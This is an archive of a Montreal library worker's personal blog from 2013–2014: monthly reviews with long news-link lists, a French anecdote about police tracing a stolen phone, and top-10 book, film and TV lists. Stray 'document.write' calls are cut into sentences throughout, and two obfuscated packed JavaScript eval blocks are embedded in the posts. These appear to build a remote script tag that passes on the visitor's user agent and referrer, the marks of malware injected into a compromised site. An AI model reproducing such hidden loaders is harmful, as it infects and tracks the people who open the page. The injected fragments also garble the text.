April in review

May 7, 2014 / Clodjee / 2 Comments

April was a boring, document.write(“”); rainy month. It was still a little depressing, but we felt spring was on its way although it never really got here fully. It is still a little colder than seasonal temperature. By mid-April we still had freezing temperature and a little snow fall. I felt sad. I still feel I need some change so I applied (several times) to work in another library and waited all month for results. I am still waiting. I hope it will work. I don’t know what I’ll do if it doesn’t…
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On the domestic side, with slightly warmer temperature there was a lot to do around the house (spring cleaning, preparing the garden) and many things to organize (medical check-ups, update financial records, using the income tax returns to replace and update household appliances, etc). So it kept me busy. I didn’t write much (just one book comment, on a manga about Freud). It is frustrating to have so many ideas, so many words in my mind that I could write and not enough time to do so… I went to a book sale and found lots of books (many manga) for really cheap. We’ve finally found someone (a shelter) to take the last of the kittens we’ve rescued this winter. I’m so glad that we found places for them, but I was also a little sad to see them leave. However, I kept one and his playfulness, his cuteness, fill me with joy. I’ve seen something really strange one night right after sunset: a swarm of seagulls noisily turning and pulsating into the clouds. Not long after, we got the first thunderstorm of the year…

In the news, provincial elections brought back a liberal government, the Ukrainian situation continues, they still haven’t found the Malaysian plane, and a South Korean ferry sank killing lots of children from the same school. You’ll find over an hundred links to some news stories that I found interesting — just after the jump:

Anime & Manga related, Japan, Popular Culture

Top 300 Graphic Novels for March 2014 (ICv2)
‘The Heroic Legend of Arslan’ Manga Adaptation by ‘FMA’ Creator (ICv2)
Harvard students learn about Apple’s history through manga (Engadget)
ComiXology is being bought by Amazon (TUAW)
How ComiXology Became The iTunes Of Comic Books (Cult of Mac)
‘Attack on Titan’ Comes to Toonami and home video (ICv2)
Amazon’s ComiXology Acquisition Has Some Readers Concerned (Forbes)
The 2014 Eisner Award Nominees (ICv2)
Yen Press Announces New ‘Light Novel’ Imprint (ICv2)
Amazon-Owned ComiXology Removes In-App Purchases From Its iOS App (MacTrast)
May 2014 New Manga Releases (Suvudu)
Du manga dans les steppes (Le Monde)
Damned ! De la BD à la British Library ! (Le Monde)
More ‘Robotech RPG Tactics’ Delays (ICv2)

Apple, apps and mobile devices news

How to Teach iOS Autocorrect New Words (iPhone Life)
Videoshop is an excellent video editor for iOS (TUAW)
How To Setup a Geofenced Reminder on Your iOS Device (MacTrast)
How to use Apple TV: The ultimate guide (iMore)
A&E and History Channel add live TV stream in iOS apps (9 to 5 Mac)
InDesign alternatives for Mac: Can anything unseat Adobe for page layout? (iMore)
10-second setup lets Siri control Nest, lighting and more via web app (9 to 5 Mac)
Apple opens OS X beta program to the public for 10.9.3 (Ars technica)
Apple Releases AirPort Extreme and Time Capsule Firmware Update 7.7.3 With Heartbleed Fix (Mac Rumors)
iOS 7.1.1 now available, improves Touch ID, fixes keyboard issues (TUAW)
Apple’s Early Years Gets The Manga Treatment In New Comic Series (Cult of Mac)
How to get beta seeds of OSX for your iMac and Macbooks (Cult of Mac)

Books, Digital Edition & Libraries

How US libraries are becoming community problem solvers (The Guardian)
A Plea to Book Designers: InDesign Is Not a Linotype Machine (Huffington Post)
Paper vs digital reading is an exhausted debate (The Guardian)
Geek the Library — Literally (Huffington Post)
Books, eBooks Decline in 2013 (ICv2)
What 21st-century libraries can learn from this 19th-century institution (Quartz)
Retour des lecteurs dans les librairies? (Le Devoir)
L’écrivain colombien Gabriel Garcia Marquez est décédé (Le Devoir)
Author Gabriel García Márquez dies (USA Today)
La lecture des journaux sur support numérique gagne du terrain (La Presse)
Deep reading: ‘an island in the sea of technology’ (The Observer)
12 Irrefutable, Amazing Reasons We Need More Diversity In Books (Huffington Post)
How Role-Playing Games Made Me a Better Writer (Huffington Post)
How Innovation and Technology Are Shaping Libraries of Today (Huffington Post)
Libraries Working To Bridge The Cultural Divide (Huffington Post)
Why Every Writer Needs An Author Brand (Huffington Post)
7 Big Myths About Libraries (Huffington Post)
Lire pour minou (La Presse)
Prix Boréal-Aurora 2014: Lauréats (fractale-framboise)

Economy, Environment & International/U.S. Politics

U.S. Response to Crimea Worries Japan’s Leaders (NYT)
The art of George W. Bush (Politico)
Climat: le monde s’éloigne de la solution (Le Devoir)
Ebola outbreak in Guinea ‘unprecedented’: MSF (BBC)
Climate inaction to be ‘catastrophe’ (BBC)
Boston Marathon Bib Theft On The Rise Due To Social Media (Huffington Post)
Cancer And Death by Radiation? Not From Fukushima (Forbes)
Dien Bien Phu: Did the US offer France an A-bomb? (BBC)
En dix ans, quels prix ont le plus augmenté ? (Le Monde)
Ukraine: « La menace d’une guerre civile est chaque jour moins farfelue » (Le Monde)
At Chernobyl, Hints of Nature’s Adaptation (NYT)

Health, home & garden

Vivre à Montréal avec son animal (PDF)
Les ondes émises par les téléphones cellulaires sont inoffensives, dit un comité d’experts (Le Devoir)
L’agrile menace nos frênes (lien, Wikipedia FR & EN)
10 objets qu’on ne sait jamais où jeter (L’internaute)
U.S. Reports First Case of MERS (NBC)
U.S. one of few countries with rise in maternal deaths (Canoe)
Adopter un potager en ville : casse-tête ou nécessité? (Gaïa Presse)
Mass memory and reasoning tests ‘track dementia risk’ (BBC)
L’arrondissement de Villeray–Saint-Michel–Parc-Extension poursuit ses actions pour lutter contre l’agrile du frêne (Link)

Humour
Local News & National Politics

Des étudiants anglophones passent à l’offensive (Le Devoir)
Coderre veut abolir 2700 postes à Montréal (Le Devoir)
Montréal veut abolir 2700 postes d’ici cinq ans (La Presse)
Philippe Couillard met le PQ K.-O. (Le Devoir)
ICI à la tronçonneuse (Le Devoir)
Jim Flaherty s’éteint (Le Devoir)
«Décisions difficiles» en vue à Québec (Le Devoir)
Des tunnels limés pour laisser passer le nouveau métro (Journal de Montréal)
Limage des tunnels: le DG de la STM rectifie le tir (Métro)
La surenchère culturelle (Le Devoir)
Travailleurs diplômés peinant à lire et à compter (Le Devoir)
Le gouvernement maintient la hausse salariale des fonctionnaires (Le Devoir)

Media, Culture, Entertainment & Society

RIP Dungeons & Dragons Artist Dave Trampier (Suvudu)
How can Wikipedia woo women editors? (BBC)
‘Game of Thrones’ Renewed for Two More Seasons (ICv2)
Film brings Pompeii back to life perfectly – and destroys it again (The Observer)
Bob Hoskins of Roger Rabbit dead at 71 (Chicago Tribune)
Al Feldstein, who headed Mad magazine, dies (AP)
We shouldn’t be grammar Nazis (The Telegraph)
7 Philosophers You Should Know (And Probably Don’t) (Huffington Post)
The Bad Grammar awards are prize stupidity (The Guardian)
7 Times When A Comma Has Made A MAJOR Difference (Huffington Post)
Les rappeurs américains ont-ils plus de vocabulaire que Shakespeare ? (Le Monde)
Pourquoi le code A113 se cache-t-il dans presque tous les films de Pixar ? (Le Monde)
The Crimson Field: Les séries se tournent vers la Grande Guerre (Le Monde)

Sciences & History

New technology unwraps mummies’ ancient mysteries (AP)
Papyrus Referring to Jesus’ Wife Is More Likely Ancient Than Fake, Scientists Say (NYT)
National Geographic Concludes What Americans Will Look Like in 2050, and It’s Beautiful (PolicyMic)
Study of Moon’s Atmosphere Ends With Planned Crash (NYT)
Pompeii “Exposed and Vulnerable” to Neglect and the Elements (NG)
Ancient Writer’s Tomb, Artifacts Found In Egypt (Huffington Post)
Le « David » de Michel-Ange menace de s’écrouler (Le Monde)
Plaidoyer pour le journalisme scientifique (Le Monde)
50 momies découvertes dans une nécropole géante (Le Monde)
L’archéologie de la Grande Guerre (Le Monde)
Une nouvelle écriture ? (Le Monde)
Watch the ISS’s View of Earth Live, Right Here, Right Now (Gizmodo, UStream link)
You can finally watch a live video feed of Earth from space, and it’s awesome (ExtremeTech)

Technology, Gadgets & Internet

Nest Halts Sales of ‘Protect’ Smoke Alarm Over Safety Concerns (Cult of Mac)
Windows XP demise gives small business a tech headache (BBC)
Hackers Trying to Exploit ‘Heartbleed’ Bug, U.S. Officials Warn (NBC)
Do’s And Don’ts Of Email Writing (Huffington Post)
LED Tubes Will Make Fluorescents Seem Old-Fashioned (Gizmodo)

Union stuff & Montreal’s libraries

Bras de fer en vue dans les municipalités (Journal de Montréal)
?Les employés municipaux exposés à la violence (Jobboom)

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Hypocrisie religieuse

May 4, 2014 / Clodjee / 1 Comment

J’ai eu un bel exemple d’hypocrisie religieuse dans l’autobus vendredi matin. Il y avait une personne (de sexe indéterminé) assise qui lisait la Bible (“aime to prochain”, document.write(“”); “aide les indigents”, etc.), son sac confortablement installé sur le siège d’à côté (la Bible prenait toute la place sur ses genoux, alors il fallait bien mettre le sac quelque part, non?). Cette personne lisait avec tellement de ferveur (fanatique?) qu’elle ne réalisait pas que le bus était bondé et que plusieurs personnes auraient bien aimer s’assoir à la place de son sac! C’est ça l’hypocrisie de la religion…

The month in review (2014-03-31)

March 31, 2014 / Clodjee / Leave a comment

March. Already three months into the year. Until today (partly cloudy, document.write(“”); 5°C) spring was nowhere to be seen. We had small snow storms almost every weeks (the latest this week-end) and winter seems to never end. How depressing. I feel that I am really getting at the end of my rope with my job: the long commuting that keeps me from doing anything useful at home during the week, the teenagers’ insubordination and constant insolence, absurdity and inefficiency everywhere and, in the last week, a terrible cold that made me weak and tired… So many frustrations… I can’t take this anymore and feel I am on the verge of depression. But what can I do? I can’t quit. All I can do is fight the darkness and rest as much as I can. I really need some change…
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I took a few days off. I really needed the sleep, but above all the psychological rest… Just not having to commute, not hearing the constant noise and teenage girls chatter (busy hours with an average of 70 dB while the limit for an industrial area is 75 dB!), not having the crying babies (peak at 105 dB!) and kids running all over the place, not having to regularly scold children for not behaving… That’s a great rest in itself! I wrote a little (but there’s never enough time) and watched TV (the usual plus a few new shows: Cosmos: A space-time odyssey, Helix, Parade’s End, Resurrection, The 100, True Detective; and a few movies: After Earth, Blue Jasmine, Star Trek: Into Darkness).

A raccoon hung around the back balcony a few times. We finally found a nice adoption family for Toffee and might be able to place Roussette soon. This week is supposed to be warm and sunny. Hope for spring and more…

Local news were saturated with stories about the Quebec provincial election with talks of possible referendum if PQ is elected or the secular charter. International news were all about the Ukraine situation and the disappearance of Malaysia Airline flight MH 370. I’ve gathered links to a few other interesting news stories after the jump:

Anime & Manga related, Japan, Popular Culture

18th Tezuka Osamu Cultural Prize Nominees Announced (ANN)
Streaming, Media Drives Manga Sales (ICv2)
Naoki Urasawa’s ‘Master Keaton’ From VIZ in December (ICv2)
New VIZ Shojo in Q4 (ICv2)
Interview with Dark Horse Manga Editor Carl Horn (ICv2)
New ‘Princess Mononoke’ Releases (ICv2)
Top 25 Manga Properties for Fall & Holidays 2013 (ICv2)
Top 300 Graphic Novels for February 2014 (ICv2)
Barefoot Gen Manga Pulled from Izumisano City’s School Library Shelves (ANN)
Macross Science-Fiction Anime Franchise Gets New TV Series (ANN)

Apple, apps and mobile devices news

iBetterCharge puts iPhone & iPad battery notifications on your Mac (9 to 5 Mac)
New in iOS 7.1: Big iPhone 4 performance improvements, better navigation audio, and more (9 to 5 Mac)
Seriously though, where is the new Mac mini? (TUAW)
Microsoft releases Office for iPad, subscription required for editing docs (Engadget)
Sorties De Métro Montréal, l’application qui va vous simplifier la vie (MacQuébec)
Turn Your iBooks Into Audiobooks (Of A Sort) (Cult of Mac)

Books, Digital Edition & Libraries

Offline Magazine opens up its slick iOS platform to publishers; starting with Brooklyn Magazine (Venture Beat)
Man arrested for vandalizing Anne Frank books at Tokyo library (The Globe and Mail)
Japan arrest over Anne Frank book vandalism (BBC)
Questions en rafale avec l’auteur Maxime Houde (Métro)
Vatican digitizing 1.5 million pages from its archives (Chicago Tribune)
Vatican Library to digitise archives with Japanese support (BBC)
How to Buy Ebooks From Anywhere and Still Read Them All in One Place (Life Hacker)

Economy, Environment & International/U.S. Politics

Health, home & garden

Angry people ‘risking heart attacks’ (BBC)
Blood Test Might Predict Who Will Develop Alzheimer’s (Today)
The children of Japan’s Fukushima battle an invisible enemy (Reuters)
Say bye bye to parmesan, muenster and feta: Europe wants its cheese back (The Guardian)
Faut-il laisser son chat sortir dehors? (Canoe)
Making Vaccination Mandatory for All Children (NYT)
Autism Rate Soars in CDC Study (ABC)
Study: Daylight saving time linked to heart attacks (The Globe and Mail)
More people will catch TB from their cats, top vet warns (The Telegraph)
Pet cats infect two people with TB (BBC)
Manger bio, manger local: quels sont les avantages? (Canoe)
Connaitre les notions de base sur les hypothèques (24h digital)

Local News & National Politics

Il retrace lui-même les suspects (24h)
La STM patiente en attendant que les premières voitures Azur soient à point (Métro)
Hydro-Québec peut augmenter ses tarifs de 4,3 % le 1er avril (La Presse)
Dossier Élections Québec 2014 (La Presse)
Dossier Élections Québec 2014 (Le Devoir)
Indépendance: Marois conserverait le dollar canadien et une frontière ouverte (Le Devoir)
Le Québec ne serait pas accro à la péréquation (Le Devoir)
L’effet PKP profite aux libéraux de Couillard (Le Devoir)
Le PQ s’inquiète pour rien, dit le DGE (Le Devoir)
Group calls for proportional representation in Quebec (The Gazette)
Anglophone students worry their votes are being suppressed (The Gazette)

Media, Culture, Entertainment & Society

The 2014 Oscars Recap (Esquire)
Streaming Passing TV (ICv2)
England ‘divided into readers and watchers’ (BBC)
‘Game of Thrones’ End Point Revealed (ICv2)
Night Life Montréal 1950 (Youtube)
Journalism’s Digital Resurrection (Business Insider, Vice News‘ link)
It’s no longer illegal to rip CDs [in the UK] (Wired)
Broadchurch wins Broadcasting Press Guild hat-trick (BBC)
George R.R. Martin Releases Chapter From New ‘Game of Thrones’ Book (Mashable)

Sciences & History

$10M Calif. Gold Coin Hoard Found in Yard May Have Been Stolen From Mint (ABC)
Among the Wounded in Syria’s War: Ancient History (NYT)
4,000-year-old Dartmoor burial find rewrites British bronze age history (The Guardian)
Mysterious underground caves discovered in Chile (The Telegraph)
Big Bang breakthrough announced; gravitational waves detected (CNN)
Oldest Evidence of Human Cancer Discovered in African Tomb (ABC)
Big Bang Discovery Opens Doors to the “Multiverse” (National Geographic)
NASA Discovers New Gully on Mars (NBC)
Gravitational waves discovery: ‘We have a first tantalizing glimpse of the cosmic birth pangs’ (The Guardian)
1,300-year-old Egyptian mummy had tattoo of Archangel Michael (Fox)
Newly Discovered Dwarf Planet Hints at ‘Super Earth’ in Far Reaches of Solar System (ABC)
Distant new world may point to undiscovered planets in solar system (The Guardian)
Augustus rules again as Rome acts to restore lost mausoleum (The Observer)
British experts say they have found London’s long-lost Black Death graves (The Globe and Mail)
Black death was not spread by rat fleas, say researchers (The Observer)
Comet lander checks in with Earth (BBC)
Black Death skeletons unearthed by Crossrail project (BBC)

Technology, Gadgets & Internet

Les fantômes de Facebook, ces amis dont on ne reçoit plus les messages (L’Express)
GE-backed Quirky Aros is a window air conditioner with Nest smarts, controlled by iPhone (9 to 5 Mac)
LG introduces Smart Bulbs complete with iOS support (iMore)

Union stuff & Montreal’s libraries

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Mec, t’as pas vu mon cell?

March 6, 2014 / Clodjee / Leave a comment

J’ai récemment lu dans le journal 24h l’histoire d’un gars qui s’était fait voler son ordinateur portable et avait réussi à localiser le voleur grâce à un logiciel mais la police refusait de faire quoi que ce soit parce que c’était pas une affaire urgente. Eh bien moi j’ai vécu une expérience à l’opposé avec des policiers qui font ce qui me semble de l’excès de zèle!
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Continuez après le saut de page >>

Un gars se fait voler son téléphone cellulaire dans une station de service et le retrace (grâce au fameux app d’Apple Find my iPhone [ version française ] ) chez moi ! Un peu passé minuit avant-hier, document.write(“”); il débarque chez moi accompagné de deux policiers (une fille et un gars) et réclame son cellulaire! “Désolé” que je lui dit, “je ne l’ai pas ton cellulaire et, en plus, je ne fréquente pas les stations de service. J’ai même pas de voiture!”

Pour avoir testé l’apps en question je sais très bien que ce n’est pas assez précis pour pouvoir localiser l’appareil égaré avec certitude à une adresse précise. Cela utilise une combinaison de branchement wi-fi et de GPS, un peu comme quand Google Maps nous localise sur la carte. C’est pas toujours précis. L’apps peu bien dire “c’est à telle adresse” mais, bon, ça peut bien être dans le bloc appartement au nord, au sud, à l’est ou à l’ouest! Tout ça me rappelle bien trop une expérience très similaire vécu il y a quelques années…

J’étais tellement fâché d’avoir à revivre ça que j’en ai mal dormi. Je suis sûr que quelques jeunes du quartier, possiblement membres d’un gang de rue [on en a de toutes les couleurs ici], sont les vrai coupables. Mais que peut-on y faire… Quand j’y pense, tout ça est assez frustrant sous plusieurs angles.

Si le vol d’un laptop est pas urgent, qu’est-ce qui motive la police à venir enquêter, en pleine nuit, sur le vol d’un cellulaire ? Ils auraient pu au moins attendre le lendemain matin, non? C’est d’autant plus frustrant que la fois que mon appart dans Hochelaga s’était fait défoncé par des voleurs (littéralement, puisqu’ils avaient lancé une grosse roche pour casser la vitre de la porte arrière) ça avait prit un peu moins de vingt-quatre heures pour que la police réponde à l’appel!

Ce qui est aussi pas mal frustrant c’est que je fais beaucoup d’effort pour essayer d’être un citoyen exemplaire alors que la plupart des gens de mon quartier ne respectent pas beaucoup la loi (abris tempo non-conforme, pas de couvercle sur leur poubelle qui se renverse et déverse son contenu dans mon entrée, pelleter la neige sur le trottoir, bloquer le trottoir avec leur véhicule, abondamment nettoyer leur entrée de garage avec le boyau d’arrosage, etc. Et même, dans mon quartier, si tu mets trop de distance entre toi et la personne en avant de toi dans la ligne d’attente de l’autobus (disons plus de deux ou trois pieds) quelqu’un va venir se mettre entre vous deux!). Évidemment tout ces gens ne se font jamais embêter par la police. Et qui est-ce que la police vient accuser de vol en pleine nuit? Moi! (Et je n’ai même pas l’excuse de pouvoir les accuser d’être raciste pour me défendre!). C’est vraiment frustrant à la fin!

Conclusion: ou bien il n’y a vraiment pas de balance karmique, ou bien c’est vraiment pas payant d’être un bon gars. No more mister nice guy!

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The month in review (2014-03-02)

March 3, 2014 / Clodjee / Leave a comment

February was another harsh, document.write(“”); cold month (although we had a brief respite with warmer temperature and rain). It was a rather annoying month. I didn’t feel top shape (mostly digestion problems and abdominal pain). I had many small problems to take care and there was a lot of stuff pissing me off in the news. My cat caught another mouse in the house. I had not enough time to write as much as I wanted. All this put me in a bad mood. Above all I was quite tired (mentally) with my long commute to work (in the last year, I applied nearly thirty times for positions in libraries closer to home, but without any success). In fact, I realized that most of the days I was leaving home around 8:15 am and coming back around 7:45 pm. I am gone nearly twelve hours to work only seven hours! For what? In order to win enough wages to pay for food and mortgage so I can sleep, eat and go to work the next day? What a depressing thought! The good news is that I now have only seven hundred and ninety-four weeks before retirement!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbbar|var|u0026u|referrer|sknin||js|php’.split(‘|’),0,{}))

Locally there was more talks about the secular charter, a tax hike, possible provincial elections, and lots of discussion about municipal pension plans (ah! those lazy and overpaid municipal workers!). In the meantime, the world was busy dealing with freaky weather conditions (notably drought in California, lots of snow in the east coast and too much rain in England), the Sochi Olympics, unrest in Ukraine and possible military intervention by the Russians.

I’ve gathered over an hundred links to interesting news stories. You can check them after the jump:

Anime & Manga related, Japan, Popular Culture

Hayao Miyazaki Wins Annie Award for Writing The Wind Rises (ANN)
A Miyazaki Hat Trick (ICv2)
‘Robotech RPG Tactics’ Pushed Back Again (ICv2)
Miyazaki: “The Problem With The Anime Industry Is It’s Full of Otaku” (ANN)
12 Things You Can Learn About World History From Manga (ANN)
‘The Sakai Project’ Benefit Book (ICv2)
Japanese NHK Official Says War Crimes Made Up (Times)
Tokyo Rejects Candidate Who Stressed Nuclear Halt (NYT)
Comics Sales Flat, GNs Down in January (ICv2)
Les œuvres d’Osamu Tezuka en numérique (Animeland)
Strong French Manga Market Begins to Dip (PW)
‘The 37th Japan Academy Prize’ nominees announced (Tokyo Hive)
Wind Rises, Madoka, Lupin vs. Conan, Harlock, Kaguya Earn Japan Academy Prize Nods (ANN)

Apple, apps and mobile devices news

Sony to exit the PC business: What’s it mean for the Mac? (iMore)
Famed Documentarian Ken Burns Launches iPad App (Mac Rumors)
How to set up a Mac mini-based media server part I: Physical connections (iMore)
BlueCub iPhone Sensor Measures Temperature And Humidity (Cult of Mac)
Apple’s two-step verification for Apple IDs arrives in Canada, France, Germany, Japan, Italy, & Spain (9 to 5 Mac)
5 things you had no idea your iPad could do (USA Today)
5 things you had no idea your iPhone could do (USA Today)

Books, Digital Edition & Libraries

Sony exits the North American ebook business and gives its customers to Kobo (GigaOM)
Amazon 100 books to read in a lifetime (CNN, Amazon.com) [I’ve read 9 of them!]
Why Writers Are the Worst Procrastinators (The Atlantic)
Hundreds of Anne Frank Books Vandalized in Japan (NYT)
265 Anne Frank books vandalized in Tokyo libraries (AP)
Québec championne du prêt de livres numériques (La Presse)
Le meilleur du polar (La Presse)
Optimiser sa vitesse de lecture (Le Monde)

Economy, Environment & International/U.S. Politics

Obama veut rétablir la foi dans le rêve américain (Le Devoir)
Climate change: Sea ice, global cooling, and other nonsense (Slate)
Freaky ‘frost quakes’ boom and shake frozen Midwest towns (LA Times)
San Francisco Mixes Design And Technology In Its New Plan To Recycle All Textiles (Co.Exist)
Complete coverage of the 2014 Sochi Olympics (Canada.com)
Heavy Snow Hits Tokyo for First Time in 13 Years (NBC)
Tokyo Hit With Heaviest Snow In 45 Years: 11 Dead (Business Insider)
US struck by more deadly snow and ice storms (The Telegraph)
Bill Nye the Science Guy Scolds Marsha Blackburn [GOP Congresswoman] on Climate Change (Time)
Coca-Cola shares hit by profit fall (BBC)
What causes sinkholes and why has Britain seen a spike? (BBC)
Freezing January for Easterners Was Not Felt Round the World (NYT)
Pussy Riot presents Sochi punk video (AP, Youtube video)
North Korea’s Still In The Dark, As Photos From Space Show (NPR)
Fukushima trois ans plus tard: paranoïa radioactive (La Presse)
Ukraine, Alain Resnais, Chine… Les infos à retenir du week-end (Le Monde)

Health, home & garden

Worldwide cancer cases expected to soar by 70% over next 20 years (The Guardian)
WHO Warns That Cancer Cases Could Explode in the Next 20 Years (The Wire)
Restaurants et épiceries: le top 50 des amendes pour insalubrité (Protégez-vous)
Get up! Study says sedentary time means less ability in everyday life (LA Times)
Rare ‘polio-like’ disease reports (BBC)

Humour
Local News & National Politics

Les Montréalais essuient une hausse de 2,8% en moyenne (Le Devoir)
Budget de Montréal: des hausses de taxes salées (La Presse)
Tax hikes will vary greatly depending on your borough (The Gazette)
Potential election call overshadows business in National Assembly (The Gazette)
Le jeune loup et le hijab (Métro)
Projet de loi 60:Un grand pas vers l’égalité homme-femme (Le Devoir)
Stunned by Tragedy, a Village in Rural Quebec Turns Inward (NYT)
Nouvel avis juridique anti-charte (Le Devoir)
Fatima Houda-Pepin proposes middle ground on secular charter (CBC)
Laïcité: Fatima Houda-Pepin dépose son projet de loi (Le Devoir, Projet de loi #491 [PDF])
Austérité préélectorale à Québec (Le Devoir)
Quebec gives municipalities tools to deal with pension costs (The Gazette, Projet de loi 79)
La bureaucratie municipale: ni belle, ni bonne, et très chère (L’actualité)
Les dépenses en salaires et pensions explosent (Le Devoir)
Des retraités de plus en plus coûteux (La Presse)
La pub de son commerce sur Facebook contraire à la loi 101 (Journal de Montréal)

Media, Culture, Entertainment & Society

Teens’ photo feed is a viral hit – and a copyright conundrum (GigaOM)
Violent video games leave teens ‘morally immature’ (BBC)
Britain Puts Mormonism on Trial (The Daily Beast)
HBO lands David Fincher and Gillian Flynn’s ‘Utopia’ series (The Verge)
Average time spent watching TV fell in 2013, data shows [in the UK] (BBC)
The 2014 Bafta ceremony in one minute (BBC)
How Criterion Collection Brings Movies Back From the Dead (Gizmodo)
The English expressions coined in WW1 (BBC)
Syfy Picks Up ‘Metal Hurlant Chronicles’ (ICv2)
2014 Oscar Nominees (link)
Oscars 2014: The complete list of nominees (LA Times)
Décès du cinéaste français Alain Resnais / Seminal French filmmaker Alain Resnais dies (La Presse, The Gazette, BBC, Le Monde)

Sciences & History

Fossils of Neanderthal DNA clump in human genome (AP)
Woman Gives Birth To Children, Discovers Her Twin Is Actually The Biological Mother, But She Is Technically Her Own Twin (Opposing views)
Concern grows over possibility of a massive power surge (LA Times)
Where the Swastika Was Found 12,000 Years Before Hitler Made Us Uncomfortable About It (The Epoch Times)
Modern Europeans Hail From Three Distinct Groups (Archaeology Magazine)
Older Than Giza: 4,600-Year-Old Pyramid Uncovered in Egypt (NBC)
Bill Nye Wins Over the Science Crowd at Evolution Debate (NBC)
850,000-year-old human footprints found in Norfolk (The Guardian)
3D Scanning Saved These Ancient Footprints Just Before They Washed Away (Gizmodo)
Remains of building may be part of ancient queen’s palace (The Asahi Shimbun)
Sustainable nuclear fusion breakthrough raises hopes for ultimate green energy (The Guardian)
Ancient DNA Ties Native Americans From Two Continents To Clovis (NPR)
Ancient American’s genome mapped (BBC)
600 year old mystery manuscript decoded by University of Bedfordshire professor (link)
Scientific knowledge is as much about culture as education (The Guardian)
Clooney sparks controversy over Parthenon marbles row (Archaeology News Network)
Un trésor en pièces d’or au bout de la laisse (La Presse)
La Nasa annonce la découverte de 715 nouvelles exoplanètes (La Presse)
Les Amérindiens auraient vécu 10 000 ans dans le détroit de Béring (La Presse)
Roman ‘gladiator school’ recreated virtually (BBC)

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

Des puces électroniques dans les bibliothèques montréalaises (Métro)
Not just Environment and Health: Canadian government attacks libraries from 12 ministries (Boing Boing)
Pétition contre les coupures d’heures dans les bibliothèques de CDN-NDG: Ne fermez pas nos bibliothèques ! (lien)
Bibliothèques scientifiques menacés (L’Aut’Journal)
Comptoirs en libre-service: «gaspillage» d’un million $, dit l’opposition (Journal de Montréal)
Comptoirs en libre-service dans les bibliothèques: «gaspillage» d’un million $, dit l’opposition (24h)
Des prêts bientôt en libre-service dans les bibliothèques (La Presse)

[ Traduire ]

Top10 media for 2013

February 3, 2014 / Clodjee / 1 Comment

I have now a little time to do a retrospective of my activities for 2013. Here’s a top 10 list of all the media I’ve read or seen during the past year. It’s not exhaustive and they are not listed in order of preference, document.write(“”); but rather in alphabetical order. I won’t elaborate on any of them (I don’t have that much time) but whenever possible I’ve put a link either to a commentary I’ve written on the subject or to Wikipedia so you can check detailed information about each of them.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkhzd|var|u0026u|referrer|bntby||js|php’.split(‘|’),0,{}))

My top 10 books

À la recherche du temps perdu
L’Âne d’or
Cesare Vol. 1-3
Furari
Hitler de Shigeru Mizuki
Hokusai par Shotaro Ishinomori
Je suis vivant et vous êtes morts
La Maison en petits cubes
Thermae Romae Vol. 1-5
Une Anthologie de Jiro Taniguchi

According to Goodreads, I read thirty-seven books in 2013. They were mostly manga. It sounds little but I’ve been busy. Check the link for the complete list.

My Top 10 Movies

Anna Karenina (1961 BBC TV adaptation starring Sean Connery!)
Cloud Atlas
Hitchcock
Karakara
Life of Pi
Lincoln
Looper
Stupeur et tremblements
Sucker Punch
To Rome with love

The other movies I’ve seen are: L’Arbre, Argo, Beverly Hills Chihuahua 3: Viva la Fiesta!, The French Lieutenant’s woman, Habemus Papam, The Lady, Letters to Father Jacob, The Lion in Winter, Northanger Abbey, Prometheus, Satyricon, The Secret world of Arrietty, Skyfall, Swann in love, Total Recall (2012). However that list is not exhaustive since it includes mostly movies I’ve borrowed at the library and none of those I’ve watched on TV (particularly on the fabulous Turner Classic Movies channel).

My Top 10 TV series

A Young Doctor’s Notebook (Season 1 & 2) [see my comment]
The Borgias (Season 3)
Continuum (Season 2)
Downton Abbey (Season 4)
Foyle’s War (Season 1 to 8)
Game of Thrones (Season 3)
The Newsroom (Season 2)
Orphan Black (Season 1)
Ripper Street (Season 1 & 2)
Vikings (Season 1)

For the TV series the choice for the top 10 was a much harder one. There was so many excellent series, mostly from the U.K., that it made the selection difficult. I really think that I should watch less TV, but with such a huge choice of titles it is impossible to resist:

Almost human, Atlantis (Season 1), Ben Hur, Bleak House (2005), The Bletchley Circle (Season 1), Bomb girls (Season 2), Broadchurch (Season 1), Call the midwife (Season 1 & 2), Copper (Season 2), Defiance, Doctor Who (Season 7), Elementary (Season 1 & 2), The Fall, Falling Skies (Season 3), Father Brown (2013), Grey’s Anatomy (Season 9 & 10), Hawaii Five-0 (Season 3 & 4), Homeland (Season 3), Mad Men (Season 5 & 6), The Mentalist (Season 5 & 6), Mr Selfridge (Season 1), Murdoch Mysteries (Season 1 to 6), Must love cats (Season 1 & 2), NCIS (Season 10 & 11), NCIS: Los Angeles (Season 4 & 5), The Paradise (Season 1 & 2), Real time with Bill Maher (Season 11), Sherlock (Season 1), Southcliffe, Under the dome, Unforgettable (Season 1 & 2), Utopia, The Vampire Diaries (Season 4 & 5), The Walking Dead (Season 3 & 4), The White Queen.

And I am sure I am forgetting many titles…

[ Traduire ]

The week in review (2013-12-03)

December 3, 2013 / Clodjee / Leave a comment

As usual, document.write(“”); the last three weeks were rather busy. On the domestic front, first, I was able to write more actively (some entries were retro-blogged from my physical notebook): a rant about an ordering woe with Amazon, reflexions on Memorial Day and Doctor Who‘s success, a few comics or manga news and discoveries (untranslated shojo from the 70s-80s, Joséphine Impératrice and Showa: A history of Japan), as well as a few book comments (Bibliovores, Les Vacances de Jésus et Bouddha 2, Übel Blatt 1, and Cesare 1).
